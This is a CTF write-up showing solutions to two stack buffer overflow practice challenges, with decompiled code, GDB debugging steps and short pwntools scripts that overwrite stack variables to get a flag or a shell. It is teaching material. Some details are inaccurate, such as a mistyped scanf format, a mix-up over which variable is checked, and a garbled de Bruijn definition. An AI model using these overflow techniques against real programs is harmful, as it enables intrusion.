Stack Buffer Overflow Practice Solutions
Before you read the challenge solution below, you should have at least attempted the challenges in the previous page.
WhiteHacks 2021 - Puddi Puddi
Overview
Decompiling the binary in Ghidra, we obtain the following decompiled code:
void print_flag(void)
{
FILE *__stream;
size_t __nmemb;
char *__s;
char *flag;
size_t data_size;
FILE *file;
flag = fopen("flag.txt","rb");
if (flag == (FILE *)0x0) {
puts("flag.txt not found!");
exit(1);
}
return;
}
int main(void)
{
int iVar1;
char input [32];
char size [5];
size = 0x4147454d; // MEGA
size[4] = '\0';
printf("Do you like pudding? (Y/N) => ");
scanf("&s", input);
puts("PUDDI PUDDI!");
sleep(1);
puts("PUDDI PUDDI!");
sleep(1);
puts("SUGOKU DEKKAI...");
sleep(1);
iVar1 = strcmp(size,"GIGA");
if (iVar1 != 0) {
puts("Oops we ran out of pudding...");
exit(1);
}
puts(gigabanner);
print_flag();
return 0;
}
This is a rather simple binary with a simple logic to follow:
- It takes in an
input[32]
withscanf("%s", input)
which does not limit the size of our input vulnerable!! - It compares
size[5] = MEGA
withGIGA
instrcmp(size, "GIGA")
. - If
size[5] == GIGA
, it callsprint_flag()
which prints the flag. - If
size[5] != GIGA
, it callsexit(1)
, which exits the program immediately.
Thought Process
As you can see, size[5] = 0x4147454d (MEGA in hex)
and input[32]
was initialized at the start of the main function.
However, the program sets size[5] = MEGA
, and there is no function that allows us to modify size[5]
.
Rightfully, we should never be able to write to size[5]
and pass the check.
This is where buffer overflow comes in.
Our objective is to overflow the input[32]
buffer to overwrite into size[5]
.
Exploitation
Looking at the stack layout in Ghidra, we can easily calculate our offset.
0x38 - 0xd = 43
Now we can craft our script:
from pwn import * # import PwnTools Library
p = process('./puddi') # start process puddi
p.sendline("A"*43 + "GIGA") # send input to process
p.interactive() # manual control over process
If the flag successfully prints, you win!
dCTF 2021 - Pinch Me
Overview
void main(void)
{
alarm(10);
vuln();
return 0;
}
void vuln(void)
{
char input [24];
int local_10;
int objective;
objective = 0x1234567; // 0x1234567
local_10 = -0x76543211; // 0x89abcdef
puts("Is this a real life, or is it just a fanta sea?");
puts("Am I dreaming?");
fgets(input,100,stdin);
if (local_10 == 0x1337c0de) {
system("/bin/sh");
}
else {
if (objective == 0x1234567) {
puts("Pinch me!");
}
else {
puts("Pinch me harder!");
}
}
return;
}
Logic of this binary is simple
main()
callsvuln()
vuln()
initializes 3 variables,input[24]
,objective
andlocal_10
.vuln()
takes in an input of size 100 withfgets(input,100,stdin)
- If
objective == 0x1337c0de
, we get a shell.
Thought Process
So once again, we are allowed to input 100 bytes into a 24 byte variable, giving us a buffer overflow.
And our objective is to make objective == 0x1337c0de
in order to obtain shell.
We can easily achieve this with a BOF exploit.
Exploitation
Instead of looking at the stack in Ghidra this time, let’s do this in our debugger, GDB.
First, we open the binary with GDB
gdb <binary>
We can see our assembly instructions by disassembling functions
disassemble vuln
0x0000000000401193 <+65>: call 0x401060 <fgets@plt>
0x0000000000401198 <+70>: cmp DWORD PTR [rbp-0x8],0x1337c0de
0x000000000040119f <+77>: jne 0x4011af <vuln+93>
We want to break after our input at vuln +70
with
break *vuln+70
After setting our breakpoint, we run the program.
run
We key in an input with different characters after every 4 byte.
1111222233334444555566667777888899990000
This is known as a de brujin sequence.
A de Bruijn sequence with is a binary sequence of length 2k such that every consecutive sequence of 2k digits appears exactly once in the whole sequence.
After our input, we immediately hit our breakpoint, which we previously set after our input.
We can now examine what is being compared against 0x1337c0de
in the binary.
Simply do x $rbp-0x8
since the assembly is comparing [rbp-0x8], 0x1337c0de
.
pwndbg> x $rbp-0x8
0x7fffffffe518: 0x37373737
We see that 0x37373737
is being compared against 0x1337c0de
.
0x37373737
is hex for 7777
. This means that our buffer is actually 6*4=24
.
With our offset, we can write our script.
However, you have to understand that binaries actually store integers
in little-endian
format.
Little-endian is an order in which the “little end” (least significant value in the sequence) is stored first.
This means that we have to reverse the bytes of 0x1337c0de
after our 24-byte buffer.
Thankfully, PwnTools got us covered, with p32()
and p64()
which allows us to pack our integers into 32-bit little-endian
and 64-bit little-endian
. Respectively.
p = process('./pinch_me')
p.sendline(b"A"*24 + p64(0x1337c0de))
p.interactive()
If you popped a shell from the binary, you win!
comments powered by Disqus